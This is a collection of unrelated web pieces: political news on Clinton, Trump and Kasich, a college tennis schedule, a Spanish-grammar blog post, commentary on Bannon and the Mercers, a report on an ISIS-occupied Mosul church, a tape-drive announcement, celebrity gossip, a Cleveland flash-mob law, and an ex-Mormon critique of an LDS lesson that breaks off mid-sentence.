concerned about Clinton, citing her pledges to focus on enforcement of trade rules and her turnabout on the still-pending Trans-Pacific Partnership.  Compared to Trump, however, the former secretary of state who once called the TPP the “gold standard” of trade deals is considered far less trade-averse — someone who will eventually pursue a trade strategy at least somewhat similar to Obama’s, if not quite as ambitious.  At the first debate earlier this week, for instance, she called for “smart, fair trade deals,” adding that the United States accounts for only 5 percent of the world’s population but needs to “trade with the other 95 percent.”  If Clinton wins, then, trade supporters will more easily be able to brush off the current spate of anger as something that will fade as the economy continues to improve.  If it’s Trump, though, trade officials acknowledge that “we have to defend what we have achieved,” one official said. “We have to explain better what we’ve done, what we’re doing here, in order to dispel misunderstandings.”  But doing so is challenging, officials say, when the solutions involve extolling the benefits of trade to people who have been hurt by it and pressing member nations to build up their social safety nets.  It is much easier to deny the situation could ever become reality.  “I don’t want to even entertain the idea of Mr. Trump becoming president of the U.S.,” said another senior Geneva official when asked about the U.S. presidential campaign. “Because that would be a disaster.”
-(CNN) Donald Trump and John Kasich's teams are at war over whether the Republican presidential nominee ever seriously wanted the Ohio governor to join the ticket.  Multiple sources close to Kasich said Trump's son, Donald Jr., tried to entice Kasich with a position as the most powerful vice president in history, but he turned it down. Kasich would have been in charge of all domestic and foreign policy in a Trump White House, Kasich sources said.  But Trump's communications adviser insisted Wednesday that, while a call occurred between Donald Trump Jr. and top Kasich adviser John Weaver, a vice presidential offer was never on the table.  "It's completely ridiculous," Jason Miller said. "There was never an offer made. It's completely made up."  Miller added: "Gov. Kasich is just being a sore loser."  Donald Trump Jr. also denied making such an offer.  "You know the way I conduct myself. Do you really believe I would say, '(John Kasich) is in charge of foreign and domestic policy and (Donald Trump) will focus on making America great again'? What am I, a meathead?" he told CNN.  The competing narratives highlight the escalating animosity between the Kasich and Trump campaigns -- a dynamic that's likely to continue unhindered as Donald Trump delivers his biggest speech yet Thursday.  Trump -- never one to take stories of rejection lightly -- also denied ever personally asking Kasich to be his running mate in a tweet.  "John Kasich was never asked by me to be V.P. Just arrived in Cleveland - will be a great two days!" Trump tweeted.  Kasich sources said the vice presidential back-and-forth began when Donald Trump Jr. reached out to Weaver, Kasich's adviser, shortly after Kasich dropped out of the race in May.  Weeks later Trump and Kasich spoke on the phone and afterward Weaver sent Trump's campaign chairman Paul Manafort Kasich's "Two Paths" speech -- a pretty clear signal Kasich had no interest, a Kasich source confirms.  Another Kasich source says there were also separate instances of Trump allies reaching out to Kasich allies asking whether the Ohio governor might consider the VP slot.  Manafort also described the vice presidency in a Trump administration as being similar to the COO of a company in an interview with the Huffington Post in May, a role that would appear consistent with the job being described by Kasich sources.  "He needs an experienced person to do the part of the job he doesn't want to do. He sees himself more as the chairman of the board, than even the CEO, let alone the COO," Manafort said.  But on Wednesday, another Trump aide dismissed the news of a vice presidential offer, which was first reported by The New York Times  "Completely false. His vetting read like a trashy novel," the aide said, when asked by CNN about the reports.  The Trump campaign compiled a dossier on Kasich, but never actually vetted him.  A source close to Kasich responded by saying, "Their comments are demonstrably false given the effort they put forward -- and offer they made -- to get Kasich to join the ticket. They must be confusing it with the file on Manafort, which must read like a Russian novella."  Trump sources have acknowledged, though, that long before Trump settled on Indiana Gov. Mike Pence for his running mate, top Trump aides viewed Kasich as their best bet for winning the White House in November.  Kasich, however, has remained steadfast in his opposition to Trump, following a vicious Republican primary which tore the party in pieces.  The Republican National Committee and the Trump campaign launched a concerted and sometimes public effort to woo Kasich back into the fold ahead in the weeks before the convention. But Kasich rebuked their advances.  This week relations between the two camps have grown even more strained after Manafort told MSNBC that Kasich was "embarrassing his state" by skipping the convention.  Kasich has been trolling the convention in his home state all week -- attending fundraisers and talking with delegates everywhere in Cleveland except The Quicken Loans Arena itself.  That was enough Wednesday for Steve Stepanek, co-chairman of the Trump campaign in New Hampshire, to call on delegates to boycott Kasich's speech to the New Hampshire delegation.  "Gov. Kasich has refused to endorse Donald Trump, he refused to welcome us as Republican delegates to his great state of Ohio. He's refused to participate in the Republican National Convention, which I think is totally inappropriate," Stepanek told CNN. "Since he's refused to participate in the convention or endorse Donald Trump, I think its totally inappropriate to attend any event he is sponsoring."
-Hegarty Announces Fall Schedule  Schedule | PDF Schedule  FAYETTEVILLE, Ark. – Seven individual tournaments across the country will highlight a competitive fall slate for the 2017-18 Arkansas women’s tennis team, head coach Michael Hegarty announced Monday.  “We are very excited about the fall schedule,” Hegarty said. “It’s probably our toughest one since 2009. We will use it to test us greatly in preparation for another step forward this spring. We lost two great seniors in Shannon (Hudson) and Sasha (Shkorupeieva), but we return such a loaded group and know we have one of the top newcomers in the nation.”  The fall campaign will begin Sept. 15-17 with the Razorbacks heading to the Midland Invitational in Midland, Texas. Arkansas will then compete in the Milwaukee Classic in Milwaukee, Wisconsin, from Sept. 21-24, before traveling to Evanston, Illinois, for the Northwestern Invite from Sept. 29-Oct. 1.  The Riviera/ITA Women’s All-American Championships is scheduled for Oct. 1-9 at the Riviera Tennis Club in Pacific Palisades, California. Individual selections for the nationally renowned tournament will be announced at a later date.  Arkansas will then compete in the Husky Classic in Seattle, Washington, from Oct. 13-15.  The ITA Central Regional Championships is set for Oct. 19-23 in Lawrence, Kansas. The ITA Regional Championships will feature some of the top men’s and women’s players across the country. Over 8,000 student-athletes from NCAA Division I, II, III, NAIA, Junior and Community Colleges compete across 85 ITA Regional Championships around the nation.  Select Razorbacks will compete in the inaugural Oracle ITA National Fall Championships from Nov. 1-5 at the Indian Wells Tennis Garden in Indian Wells, California. The 2017 Oracle ITA National Fall Championships, which serves as the concluding event to the fall portion of the college tennis schedule, is the only intercollegiate event to feature competitors from all five divisions competing for a national championship.  Arkansas will return 10 letterwinners from a squad that captured the program’s 15th NCAA Team Championship bid and posted 18 wins in 2017. The Razorbacks defeated 11 teams featured in the final national rankings, including No. 14 Auburn, No. 16 Texas A&M, No. 21 LSU and No. 24 Tennessee. Arkansas checked in at No. 19 in the final national rankings after holding a top-20 ranking in each of the last 10 weeks of the season.  For more information on Arkansas Women’s Tennis, follow @RazorbackWTEN on Twitter.
-It’s four in the afternoon as I sit in the Gómez’s living room, up on the seventh floor of their apartment building in the eastern outskirts of Madrid.  The year is 2011, and young Rodrigo is dancing around in his chair as I try to get him to focus on our English lesson.  “Rodrigo, how old are you?” I ask the energetic boy.  “I’m fine, and you?” he answers quickly, almost robotically. I smile, not expecting his answer, and then repeat my question with a new emphasis: “How old are you?”  Rodrigo lets out an “Ahh,” in a tone that matches the understanding that has flashed across his face. “I have seven years,” he confidently responds this time.  My days and evenings that year were spent teaching English to native Spanish speakers, but doing so actually taught me to avoid mistakes that Spanish learners often make.  By paying attention to the English blunders that my students frequently made, I was able to understand why they made these mistakes, since I knew the Spanish grammar behind them. Unsurprisingly, the corresponding errors in Spanish are ones made often by new Spanish learners.  These confusions will happen a few steps past learning basic Spanish greetings, but aren’t as common for learners as advanced as the Spanish subjunctive.  Here are seven mistakes I often heard or saw in English, and how you can avoid making the same mistakes in Spanish.  7 Spanish Mistakes You Don’t Want to Make  1. “I have 18 years.”  In English we use the verb “to be” when talking about age: “I am 25 years old.” But in Spanish the verb “tener” (to have) is used with age. To say that you are 25 years old, you would say “Tengo 25 años” (I am 25). This translates literally to “I have 25 years,” hence the common mistake by both English and Spanish speakers in their respective second language.  There are a quite a few other Spanish phrases that use the verb “to have” (tener) while their English counterparts use “to be”. Here are ten of these phrases with which you should tener cuidado (be careful) when using:  tener calor (to be hot)  tener cuidado (to be careful)  tener frío (to be cold)  tener hambre (to be hungry)  tener miedo de/a (to be afraid of)  tener prisa (to be in a hurry)  tener razón (to be right)  tener sed (to be thirsty)  tener sueño (to be sleepy)  tener suerte (to be lucky)  2. “I am boring.”  I heard this one a lot when students actually wanted to express that they were bored. And while I admit, it was a bit entertaining for me to hear these young adults call themselves boring, you could easily be making the same mistake in Spanish! But not to worry, we’ll keep it simple and leave out the verb aburrir(se), so this is all you need to know:  Soy aburrido. (I am boring.) – I’m a boring person in general.  Estoy aburrido. (I’m bored.) – Right now I feel bored.  The first uses ser, while the second uses estar. Both verbs mean “to be” in Spanish, which can cause continual head scratching throughout your lovely relationship with the Spanish language. I learned a little rhyme in high school that I’ve never forgotten, and it’s helped me time and time again to distinguish between these two verbs.  “How you feel and where you are, that is when you use estar.”  So if you’re feeling bored in the moment, use estar: “estoy aburrido“. And remember, ladies, we would say “estoy aburrida” with the feminine “a” at the end of the adjective.  3. “The people is very kind.”  In English the word “people” is a collective noun that must always be used with verbs in the third person plural: “People are good-hearted.”  In Spanish, however, the word for “people” (la gente) is singular. Yes, it’s a strange concept to get used to at first, but once you get the hang of it the word shouldn’t cause you any more trouble.  Here are two examples to get you more comfortable with the idea:  La gente tiene hambre. (The people are hungry.)  ¿Sabes que la gente es muy lista? (Do you know that people are very clever?)  4. “My mom is teacher.”  When stating occupations in Spanish, do not use the indefinite article (un/una). Rather, just the verb “to be” (ser) plus the occupation is all that’s needed. Sentences describing people’s occupations will look like this:  Soy profesora. (I am a teacher.)  Eres artista. (You are an artist.)  Él es ingeniero. (He is an engineer.)  Since you don’t use the indefinite articles (un/una) in Spanish, many native Spanish speakers forget to add them in when using English. Likewise, as native English speakers we love to throw in an unneeded “un” or “una” in these types of sentences. But you have been warned, and as a reader of this FluentU Spanish blog, you are well prepared to avoid this common trap.  5. “I like the bag blue.”  In English, our adjectives come before the noun: kind heart, blue shirt, dazzling smile. In Spanish, however, adjectives often come after the noun: corazón amable, camiseta azul, sonrisa deslumbrante.  Be aware that there are certain instances where the adjective does come before the noun in Spanish, but here we’ll focus on the majority, when it comes after. Here are a few more examples to see the difference between Spanish and English.  un hijo inteligente (a smart son)  (a son) la noche tranquila (the calm night)  (the night) el vaso vacío (the empty glass)  6. “I didn’t write nothing.”  Double negatives in the English language often make us cringe because they’re simply poor grammar. But in Spanish, double negatives thrive!  For example, take the phrase “I didn’t write anything.”  In Spanish, you would say “No escribí nada.”  Translating it part by part (instead of as a whole phrase) we get:  No escribí = I didn’t write  nada = nothing  So you can see why native Spanish speakers could easily say “I didn’t write nothing” by mistake.  By this same logic, when saying negative phrases in Spanish, make sure to avoid translating word for word! You’ll end up with an incorrect “No tengo algo” (“I don’t have something”) when it should be “No tengo nada” (I don’t have anything). “No tengo algo” is just as cringeworthy for a Spanish speaker to hear!  As a general rule, Spanish phrases don’t mix positive and negative words. So if you have a “no” before your verb and there’s more to the sentence, you’ll only ever see a negative word (nadie – nobody, nada – nothing, ningún or ninguna – no/none, nunca – never, jamás – never, tampoco – neither). With positive verbs you’ll use the positive equivalencies (alguien – somebody, algo – something, algún or alguna – some/something, siempre – always, también – also).  Take a closer look at these examples to get a better feel for the concept.  No la he visto nunca. (I’ve never seen her.)  No hay nadie aquí. (There isn’t anyone here.)  No cocinaron nada. (They didn’t cook anything.)  Ella tampoco hizo los deberes. (She didn’t do the homework either.)  7. “On mondays I study english.”  Capitalization rules are very different between Spanish and English, with significantly less capitalization on the Spanish side.  Words that are capitalized in Spanish:  Names of people (Cristiano Ronaldo)  Names of places (Madrid, España)  Names of newspapers and magazines (El País)  The first word of titles (movies, books, articles, plays)  Words that are not capitalized in Spanish:  Days of the week (lunes, martes, miércoles – Monday, Tuesday, Wednesday)  Months of the year (enero, febrero, marzo – January, February, March)  Words in titles, except the first (“Cien años de soledad” – “100 Years of Solitude”)  Languages (Estudio español. – I study Spanish.)  Religions (Mis padres son católicos. – My parents are Catholic.)  Nationality (Soy estadounidense. – I’m American.)  By learning to avoid these seven common mistakes, you’ll boost yourself up to a whole new level of Spanish. You’ll also understand when you hear these errors in English made by native Spanish speakers, as I did that afternoon with Rodrigo.  The young boy’s second response doesn’t throw me off guard since I’ve heard the error time and time again. “Oh, you are seven years old,” I say back, making sure he notes the mistake. “Yes, I am seven.” he says at last, triumphantly.  Rebecca Thering is a freelance writer and editor who has lived abroad teaching ESL in Spain and South Korea. Valuing education and things that aren’t things, she inspires and helps others by writing about her experiences abroad, cultural insights and self-improvement pursuits at her personal blog, Rebe With a Clause.  And One More Thing…  If you like learning colorful, memorable Spanish lessons like these, then you’ll love FluentU.  FluentU takes real-world videos like music videos, commercials, news, and inspiring talks and turns them into Spanish learning experiences.  Other sites use scripted content. FluentU uses a natural approach that helps you ease into the Spanish language and culture over time. You’ll learn Spanish as it’s actually spoken by real people.  FluentU has a wide variety of videos—topics like soccer, TV shows, business, movies and even magical realism, as you can see here:  FluentU brings native videos within reach with interactive transcripts. You can tap on any word to look it up instantly. Every definition has examples that have been written to help you understand how the word is used. If you see an interesting word you don’t know, you can add it to a vocab list.  Learn all the vocabulary in any video with FluentU’s Learn Mode. Swipe left or right to see more examples of the word you’re on.  The best part is that FluentU keeps track of the vocabulary that you’re learning, and it recommends you examples and videos based on the words you’ve already learned. Every learner has a truly personalized experience, even if they’re learning the same video.  Start using FluentU on the website with your computer or tablet or, better yet, download the FluentU app from the iTunes or Google Play store for iOS and Android devices.
-The entire Bannon -vs- Kushner storyline is beyond silly for all the aforementioned reasons. However, The Hill is reporting today that R&R Mercer may have recalled Bannon for duties elsewhere.  Unfortunately, the ridiculous presentation of the Hill outline completely skips the entire connection between Robert Mercer, Rebekah Mercer, Steve Bannon, Kellyanne Conway and Breitbart media. The article makes it seem as if they are disparate entities.  […] Two two sources briefed on the meeting told The New York Times that Bannon met with Rebekah Mercer, the daughter of major Republican donor Robert Mercer, last Friday. According to the newspaper, the meeting took place in Mercer’s office at Cambridge Analytica in New York and focused on possibilities for Bannon if he decides to leave the White House. (read more)  If you know the relationship between each of the aforementioned entities I would strongly suggest you read the article to see just how obtuse The Hill can be in one outline.  For those who don’t know the relationship, here’s a quick explainer.  Billionaire Robert Mercer owns the majority stake in Breitbart Media. Mercer invested $15 million in Breitbart when Bannon was editor. Breitbart media then went full bore in support of Ted Cruz. Mercer then established the Cruz Super-PAC “Keep the Promise”.  Robert Mercer’s daughter is Rebekah Mercer, a friend of Steve Bannon and Kellyanne Conway.  Cambridge Analytica, one of Robert Mercer’s enterprises, was the primary data-gathering organization for Ted Cruz’s data-driven campaign. Under Steve Bannon’s leadership Breitbart Media ran a candidate poll for two years gathering the user data on behalf of Cambridge Analytica and Robert Mercer who then sold the data back to the Cruz campaign to use in donor solicitations.  These are not unfamiliar people.  White House strategist Steve Bannon meeting with Robert or Rebekah Mercer is essentially Bannon meeting with his former boss and his bosses very political daughter.  Advertisements
-Mosul-The elegant columns of a west Mosul church stand plastered with ISIS propaganda after the jihadists’ infamous religious police took over the Christian place of worship.  The sign above the door of Um al-Mauna (Our Mother of Perpetual Help) in Iraq’s second city reads “Chaldean Catholic church”, but its jihadist occupants had other ideas.  “No entry, by order of ISIS Hesba Division (the religious police), they wrote on the building’s outside wall.  The church “was an important office for the authorities tasked with making sure (Mosul) residents had a beard, wore short robes and followed their extremist convictions,” says Lieutenant Colonel Abdulamir al-Mohammedawi of the elite Rapid Response Division.  According to Agence France Presse, five jihadists lie dead outside, their bodies twisted and one with the top of his skull blown off, after Iraqi forces retook the neighborhood from ISIS this week.  Not a single symbol of Christianity has survived in the building.  Only the grey marble altar remains. In the church’s empty alcoves lies the base of a statue that was probably also destroyed, decorated with red and yellow flowers.  The posters on the church’s marble columns give an indication of what life was like under ISIS.  One shows religious invocations to repeat in the mornings and evenings, while another explains the benefits of praying in a mosque.  A “town document” lists the 14 rules of life in Mosul under jihadist rule: “The trade and consumption of alcohol, drugs and cigarettes is banned.”  Women should wear modest attire and only appear in public “when necessary”, it says.  A pamphlet on the rubble-covered ground explains the different forms of corporal punishment prescribed for theft, alcohol consumption, adultery and homosexuality.  It comes complete with chilling illustrations.  Jihadists have scribbled their noms de guerre on the church’s walls, and a large chandelier has been dumped in the yard.  In the church’s small side rooms, artificial flower garlands are draped near posters explaining how to use a Kalashnikov rifle.  Chaldeans make up the majority of Iraq’s Christians. But a community that numbered more than a million before the 2003 ouster of Saddam Hussein has since dwindled to less than 350,000 in the face of recurring violence.  In June 2014, jihadist fighters led by ISIS seized control of Mosul and ordered the city’s Christian community to convert to Islam, pay a special tax, leave or face execution.  Weeks later, the jihadists swept through Qaraqosh and the rest of the Nineveh Plain east of Mosul, where an estimated 120,000 Christians lived, prompting them all to flee.  But the Um al-Mauna Church is in a better condition than most of the rest of the Al-Dawasa neighborhood, which has been ravaged by the fighting.  On one of its empty trading streets, once flashy shop facades have been reduced to contorted iron and shredded concrete.  On one poster advertising male clothing, ISIS members have blacked out the faces and bare arms of the models.  Asharq Al-Awsat Asharq Al-Awsat is the world’s premier pan-Arab daily newspaper, printed simultaneously each day on four continents in 14 cities. Launched in London in 1978, Asharq Al-Awsat has established itself as the decisive publication on pan-Arab and international affairs, offering its readers in-depth analysis and exclusive editorials, as well as the most comprehensive coverage of the entire Arab world. More Posts - Facebook - Google Plus - YouTube
-(We pack and sell raw local honey in plastic jars.)  Customer: “I don’t like these plastic jars. They are messy. You should use glass jars.”  Me: “Glass is much heavier, and it breaks so easily. But I’ve never noticed it being messier to deal with. How does it trouble you?”  Customer: “Plastic leaks.”  Me: “I beg your pardon?”  Customer: “I take a bit of honey each night before bed. And every morning there is a ring of honey on the nightstand where it has leaked out of the jar.”  Me: “I know if the jar is poured, you must wipe it off or the drip will run down the outside and make a sticky mess. But the same is true of any honey jar.”  Customer: “No, it leaks out the bottom. And only plastic jars.”  Me: “But all these boxes here are full of plastic jars, and the box bottoms are clean and dry.”  Customer: “Well, of course it doesn’t do it here. It’s only on nightstands!”
-by Adam Armstrong  IBM Releases 30TB LTO-8 Tape Drive  Today IBM announced the release of the Linear Tape Open Ultrium 8 Tape (LTO-8) drive. The LTO-8 doubles the capacity from the LTO-7 to 30TB (with compression) and IBM states that the new tape drive accelerate data access times while driving the price below half a cent per GB. Spectra Logic is also announcing a pre-purchase program for the LTO-8.  Data is growing at an almost alarming rate. While there are valuable insights to be harvested from this data, it mainly comes from a relatively small portion. A good example would be autonomous cars where there is important insights to avoid accidents, however, there is a massive amount of data generated just from everyday actions that provide little use. All of this data still needs to be stored. While the price of disk is dropping, it still can’t beat tape for price per gigabyte. And the LTO-8 drives the price down even farther.  The LTO-8 essential marks a 65-year culmination of research and commitment from IBM. Not only does the drive have 30TB compressed (12TB native), IBM reports speeds up to 360MB/s. The new LTO-8 also comes with AME and AES-256 standard encryption and Write-Once-Read-Many (WORM) functionalities adding an extra layer of security. The new LTO-8 will be compatible with LTO-7 media.  Also today, Spectra Logic launched its pre-payment program for the LTO-8. This program allows for Spectra customers to be the first to get their hands on the new higher capacity tape drives. The LTO-8 will work with Spectra’s BlueScale library software as well as all of Spectra’s tape libraries. Spectra Logic announced their MigrationPass program to provide customers with customized options for their LTO-4, LTO-5 and LTO-6 tape to easily migrate data to the newest LTO tape technology.  Availability  The IBM LTO-8 Drive is expected to be available in the fourth quarter of 2017. Spectra Logic’s pre-purchase program is available now.  IBM LTO-8  Spectra Logic’s pre-purchase program  Discuss this story  Sign up for the StorageReview newsletter
-Tom Hiddleston was JUST ABOUT to give us the lowdown on what REALLY happened between him and Taylor swift, but whaaaat?? Nicole Kidman cut him off! Ok, so that may have been an over exaggeration on the content of the interview. Sadly, Tom was not about to reveal inside info on Hiddleswift, but Nicole DID really hijack Tom’s interview. So, Tom was really talking to the Golden Globes about his character in ‘The Night Manager.’ But right behind him, Nicole Kidman and her husband Keith Urban were greeting other stars on the red carpet. That’s when the actress came over and took over the interview. Apparently, she wanted Tom to be DONE. Tom tried to play off the awkward moment by actually interviewing Nicole, who looked slightly embarrassed by what she’d just done. But the actress did reveal why she had interrupted the interview. Well, we certainly enjoyed it. Did you? Let us know below.  NICOLE Kidman displayed “bizarre” and “loose” behaviour at the Golden Globes, interrupting interviews and “shooing away” a cocktail waitress, according to a new report.  Woman’s Day magazine claims the Australian actress left “some observers wondering whether she’d had a few too many pre-show wines.”  The January 8 event began with the Lion actress interrupting British actor Tom Hiddleston’s red carpet interview to say she was having fun.  “Sorry to crash. I’m so happy to be here and I’m determined to have fun. That’s why I came here and did that,” she laughed.  At an after-party, the magazine reports she “shooed away” a cocktail waitress and “constantly ushered over” waiters with pizza.  The magazine claims the 49-year-old star dropped crumbs on her husband, Keith Urban.  The report comes after Kidman drew outrage and praise for saying Americans should support US President-elect Donald Trump.  She later clarified that her comments were merely a statement of her belief in democracy, not an endorsement of the incoming president.  The Hours actress was born in Hawaii to Australian parents and holds dual citizenship in Australia and the US.
-CLEVELAND, Ohio -- Cleveland Councilman Zack Reed wants a good crowd when George Clinton and Parliament Funkadelic perform July 30 in Luke Easter Park. What he doesn't want is a flash mob.  At Reed's urging, City Council voted Wednesday to outlaw use of Facebook and other social media to call together unruly crowds.  Reed's concern stemmed from recent disturbances by flash mobs in the suburbs. He said he did not want trouble to mar summer gatherings like his Family Unity in the Park celebration, featuring Clinton and Parliament Funkadelic.  Violations of the new law will be a misdemeanor punishable by a $100 fine on the first offense, $250 on the second and $500 on the third. The fines could come on top of jail time for disorderly conduct and other crimes.  Reed acknowledged concern on the part of the administration that the law will be difficult to enforce.  Follow Thomas Ott on Twitter @thomasott1.
-“Let Us Rise Up and Build”  Ezra 1–8; Nehemiah 1–2; 4; 6; 8  LDS manual: here  Reading  As this lesson opens, Israel is having one of its times when they’ve forgotten all about that bastard Jehovah (soon to become Jesus). And what a great time that could have been. They could have done regular things like other people, and not have had to engage in bizarre loopholes and workarounds for their unworkable lifestyle, like hanging strings on poles all over town, or getting other people to turn on their lights for them. But no, as we saw in lesson OT 29, some blamed fool decided to revive the curse and return religion to largely secular Jews.  That blamed fool was actually two people: Ezra, a priest, and Nehemiah. The two of them were influential in building the wall of Jerusalem (Nehemiah) and rebuilding the temple (Ezra). As always, religion builds walls and creates differences between people.  Main points from this lesson  Cyrus did not read about himself in Isaiah.  The LDS lesson manual slips up on the very first step.  Ezra 1–6. King Cyrus reads his name in Isaiah’s prophecies and is filled with a desire to do the Lord’s will.  This refers to Cyrus giving the okay for the Jews to build a temple.  And:  The words of Cyrus that are recorded in Ezra 1:2 refer to a prophecy in Isaiah 44:28 that mentioned Cyrus by name (see also Isaiah 45:1–5; explain that although the story of Cyrus comes before the book of Isaiah in the Old Testament, Isaiah lived about 150 years before Cyrus was born).  As we’ve already seen in our lessons, Isaiah (or rather, Deutero-Isaiah) would not have mentioned Cyrus 150 years before Cyrus. Isaiah v2 only knew Cyrus once he’d hit the political scene, and it was then that he started dropping in references to him.  In other words, if Cyrus ever did see his name in the OT, the ink was still wet.  Back to the manual.  • Why did Cyrus decree that a temple should be built again in Jerusalem? (See Ezra 1:1–2.) How did Cyrus know the Lord wanted him to do this?  Who knows what he thought, but it was probably one of those bursts of tolerance that leaders are prone to, especially when they want to ingratiate themselves with a troublesome rabble. Cyrus probably realised fairly quickly that letting the Jews build a temple was the quickest way of getting them onside. Then they’d be babbling away in their temple, not causing trouble for him.  As always…  Where did the Mormons get the idea that Cyrus saw his name in the Bible, anyway? From an ancient Jewish historian.  The words of Cyrus that are recorded in Ezra 1:2 refer to a prophecy in Isaiah 44:28 that mentioned Cyrus by name (see also Isaiah 45:1–5; explain that although the story of Cyrus comes before the book of Isaiah in the Old Testament, Isaiah lived about 150 years before Cyrus was born). The ancient Jewish historian Flavius Josephus reported that Cyrus read his name in Isaiah’s prophecies, was touched by the Spirit of the Lord, and desired to fulfill what was written (The Works of Flavius Josephus, Antiquities of the Jews, trans. William Whiston [n.d.], bk. 11, chap. 1, pars. 1–2).  Mormon scholarship doesn’t seem to have progressed far beyond the ancient, or maybe it’s just a case of picking whatever works.  More from the manual:  • How would you feel if you were reading the scriptures and read a prophecy that gave your name and described specific things you would do?  I would think “How clever I am to have retconned myself into the Scriptures,” just like Joseph Smith did when he wrote himself into the Bible and the Book of Mormon.  I would also think: If I actually decide to do this because I just read it, doesn’t that kind of invalidate the prediction? That way, the prophet wouldn’t have really been seeing the future; he basically just wrote a suggestion saying, “Someone should totally do this.” Self-fulfilling prophecies kind of run counter to the spirit of the thing.  How Mormons should relate to ex-Mormons.  One of the stated purposes of this lesson is:  to show Christlike love to those who oppose the work of the Lord.  With that in mind, here’s a question from the manual:  How did the Jews respond to these efforts to stop the construction of the walls? (See Nehemiah 4:9, 13–15.)  Good question, manual. Let’s read the answer.  Neh. 4:9 Nevertheless we made our prayer unto our God, and set a watch against them day and night, because of them.  …  4:13 Therefore set I in the lower places behind the wall, and on the higher places, I even set the people after their families with their swords, their spears, and their bows.  4:14 And I looked, and rose up, and said unto the nobles, and to the rulers, and to the rest of the people, Be not ye afraid of them: remember the LORD, which is great and terrible, and fight for your brethren, your sons, and your daughters, your wives, and your houses.  4:15 And it came to pass, when our enemies heard that it was known unto us, and God had brought their counsel to nought, that we returned all of us to the wall, every one unto his work.  Answers: They set a watch against them, and armed themselves to the teeth.  Wait, is that what they meant? I thought the idea was to be kind and to show some lurve. But that wasn’t the view of Brigham Young.  “I say, rather than that apostates should flourish here, I will unsheath [sic] my bowie knife, and conquer or die [Great commotion in the congregation, and a simultaneous burst of feeling, assenting to the declaration.]. Now, you nasty apostates, clear out, or judgment will be put to the line, and righteousness to the plummet [Voices, generally, ‘go it, go it.’]. If you say it is right, raise your hands [All hands up.]. Let us call upon the Lord to assist us in this, and every good work.”  – Prophet Brigham Young, Journal of Discourses, v. 1, p. 83; online at http://journals.mormonfundamentalism.org/Vol_01/refJDvol1-16.html  Or Sidney Rigdon.  …it was the imperative duty of the Church to obey the word of Joseph Smith, or the presidency, without question or inquiry, and that if there were any that would not, they should have their throats cut from ear [to] ear.”  – Sidney Rigdon letter to Apostle Orson Hyde, October 21, 1844, in Nauvoo Neighbor, December 4, 1844; see also Quinn, Mormon Hierarchy: Origins of Power, p. 94  Back to the lesson manual:  Elder Marvin J. Ashton counseled: “Certain people and organizations are trying to provoke us into contention with slander, innuendos, and improper classifications. How unwise we are in today’s society to allow ourselves to become irritated, dismayed, or offended because others seem to enjoy the role of misstating our position or involvement.”  I wonder how Elder Ashton would have felt to realise that the LDS Church has had to publish information that essentially confirms what Mormons used to call “slander and innuendo”.  New rule: the church doesn’t get to complain that sources are misstating the church’s position when those sources turn out to be a better source of information about the church than the church itself.  Ashton continued:  “Ours is to explain our position through reason, friendly persuasion, and accurate facts.”  This strategy was dropped because reason and accurate facts are not advantageous to the church.  [Church history] if not properly written or properly taught, … may be a faith destroyer… The writer or teacher who has an exaggerated loyalty to the theory that everything must be told is laying a foundation for his own judgement… The Lord made it very clear that some things are to be taught selectively and some things are to be given only to those who are worthy.  Apostle Boyd K. Packer, “The Mantle is Far, Far Greater Than the Intellect,” Reprinted in BYU Studies, v.21, no.3, 1981, pp.259-277  “Ignore them.” How Mormons engage with critics  This lesson manual is decades old, but conditions have shifted since its publication. The LDS leadership is having to deal with a member exodus, Kirtlandian in its extent. With more members leaving the church than ever, it seems likely that almost every Mormon will be familiar with someone who has left. How would the church like its members to engage with challenges from former members? Let’s see what the manual has to say.  What did Nehemiah do when Sanballat asked him to stop working and meet with him? (See Nehemiah 6:1–4.) How do some people try to distract Church members from the Lord’s work today? How should we respond to such distractions?  Let’s look at the relevant scripture:  Neh. 6:1 Now it came to pass when Sanballat, and Tobiah, and Geshem the Arabian, and the rest of our enemies, heard that I had builded the wall, and that there was no breach left therein; (though at that time I had not set up the doors upon the gates;)  6:2 That Sanballat and Geshem sent unto me, saying, Come, let us meet together in some one of the villages in the plain of Ono. But they thought to do me mischief.  6:3 And I sent messengers unto them, saying, I am doing a great work, so that I cannot come down: why should the work cease, whilst I leave it, and come down to you?  6:4 Yet they sent unto me four times after this sort; and I answered them after the same manner.  The implication, it seems to me, is that members should ignore critics. I can see why that option is attractive — it allows members to disengage from ideas that might get them thinking and asking questions.  It’s a strategy that Mormons are very good at. Here are some thoughts I learned from my years in the church that allowed me to avoid uncomfortable lines of reasoning.  Some people will be hostile to the church, no matter what.  They don’t want to find out more; they just want to argue.  They can leave the church, but they can’t leave it alone.  Even just branding a person, a book, or a website as “anti-Mormon” is a way of categorising and dismissing ideas so that they don’t need to be dealt with. They are, to use a term popularised by psychologist Robert Jay Lifton, thought-terminating clichés.  The language of the totalist environment is characterized by the thought-terminating cliché. The most far-reaching and complex of human problems are compressed into brief, highly reductive, definitive-sounding phrases, easily memorized and easily expressed. These become the start and finish of any ideological analysis.  What other thought-terminating clichés have you heard (or used) to dismiss criticism of the church? I’d love to see them in comments.  Additional teaching ideas  How religion separates people  Israel was on a course to integrating itself with its neighbours. This swing toward religious bigotry stopped that. Nehemiah’s reading of the law caused them to block intermarriage…  Neh. 10:29 They clave to their brethren, their nobles, and entered into a curse, and into an oath, to walk in God’s law, which was given by Moses the servant of God, and to observe and do all the commandments of the LORD our Lord, and his judgments and his statutes;  10:30 And that we would not give our daughters unto the people of the land, not take their daughters for our sons:  …and exclude people of Ammonite and Moabite descent.  Neh. 13:1 On that day they read in the book of Moses in the audience of the people; and therein was found written, that the Ammonite and the Moabite should not come into the congregation of God for ever;  13:2 Because they met not the children of Israel with bread and with water, but hired Balaam against them, that he should curse them: howbeit our God turned the curse into a blessing.  13:3 Now it came to pass, when they had heard the law, that they separated from Israel all the mixed multitude.  It looks like linguistic discrimination was part of the deal.  13:23 In those days also saw I Jews that had married wives of Ashdod, of Ammon, and of Moab:  13:24 And their children spake half in the speech of Ashdod, and could not speak in the Jews’ language, but according to the language of each people.  13:25 And I contended with them, and cursed them, and smote certain of them, and plucked off their hair, and made them swear by God, saying, Ye shall not give your daughters unto their sons, nor take their daughters unto your sons, or for yourselves.  Religion may give some benefits to members of the in-group. But the end result is discrimination against members of the out-group. I suppose this is because religion sets up a system of beliefs, goals, habits, and practices common to members, but that non-members don’t share. That helps members forge a common identity, but it makes it hard for members and non-members to understand each other. In good times, it can engender polite curiosity, but in bad times, it can lead to hostility and bloodshed. This is the social cost of religion, and it’s just too high.  Modern wall builders  The current-day 